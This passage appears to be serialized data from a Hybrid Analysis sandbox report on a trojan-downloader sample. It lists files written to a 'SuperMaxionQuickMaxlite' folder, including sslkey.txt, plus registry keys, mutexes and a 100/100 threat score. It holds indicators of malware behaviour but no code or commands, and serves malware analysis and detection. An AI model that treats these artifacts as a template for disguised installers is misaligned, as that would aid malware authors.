ox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\am.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\am.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ar.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ar.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\bg.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\bg.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\bn.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\bn.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ca.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ca.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\cs.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\cs.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\da.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\da.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\de.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\de.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\el.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\el.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\en-GB.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\en-GB.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\es-419.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\es-419.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\es.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\es.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\et.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\et.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\fa.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\fa.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\fi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\fi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\fil.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\fil.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\fr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\fr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\gu.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\gu.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\he.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\he.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\hi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\hi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\hr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\hr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\hu.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\hu.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\id.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\id.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\it.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\it.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ja.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ja.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\kn.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\kn.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ko.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ko.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\lt.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\lt.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\lv.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\lv.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ml.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ml.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\mr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\mr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ms.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ms.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\nb.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\nb.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\nl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\nl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\pl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\pl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\pt-BR.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\pt-BR.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\pt-PT.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\pt-PT.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ro.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ro.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ru.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ru.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\sk.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\sk.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\sl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\sl.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\sr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\sr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\sv.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\sv.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\sw.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\sw.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ta.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\ta.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\te.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\te.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\th.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\th.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\tr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\tr.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\uk.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\uk.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\vi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\vi.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\zh-CN.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\zh-CN.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\zh-TW.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\locales\\zh-TW.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\app-update.yml","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\resources\\app-update.yml","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\app.asar","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\resources\\app.asar","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\libEGL_5923fe.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\swiftshader\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\libGLESv2_391875.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\swiftshader\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%APPDATA%\\setup.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"pipe\\mojo.4472.4404.14718425742814344339","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"pipe\\mojo.4472.4404.13101635180258920012","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\sslkey.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"pipe\\mojo.4472.4404.1472765061980805171","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"pipe\\mojo.4472.4404.10371429797410110446","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"pipe\\mojo.4472.4404.14007100471885063922","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2804:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:2804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:2804:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"SM0:2804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"SM0:2804:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2804:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2804:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6836:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:6836:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:6836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"SM0:6836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"SM0:6836:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6836:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6836:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:952:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4472:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:4472:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4092:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Local\\SM0:4092:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}]}},"report_ids":{"sandbox_job_ids":["6a0ec93a905407cdc40ed913"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious HEUR_TrojanDownloader_Script_Generic Sample 75d80a67e5fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 75d80a67e5fd…. Malware family: HEUR_TrojanDownloader_Script_Generic. Threat score 100/100. 2/27 AV engines flagged this file. 6 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4"}],["$","meta","4",{"property":"og:title","content":"Malicious HEUR_TrojanDownloader_Script_Generic Sample 75d80a67e5fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 75d80a67e5fd…. Malware family: HEUR_TrojanDownloader_Script_Generic. Threat score 100/100. 2/27 AV engines flagged this file. 6 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious HEUR_TrojanDownloader_Script_Generic Sample 75d80a67e5fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 75d80a67e5fd…. Malware family: HEUR_TrojanDownloader_Script_Generic. Threat score 100/100. 2/27 AV engines flagged this file. 6 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L63","11",{}]]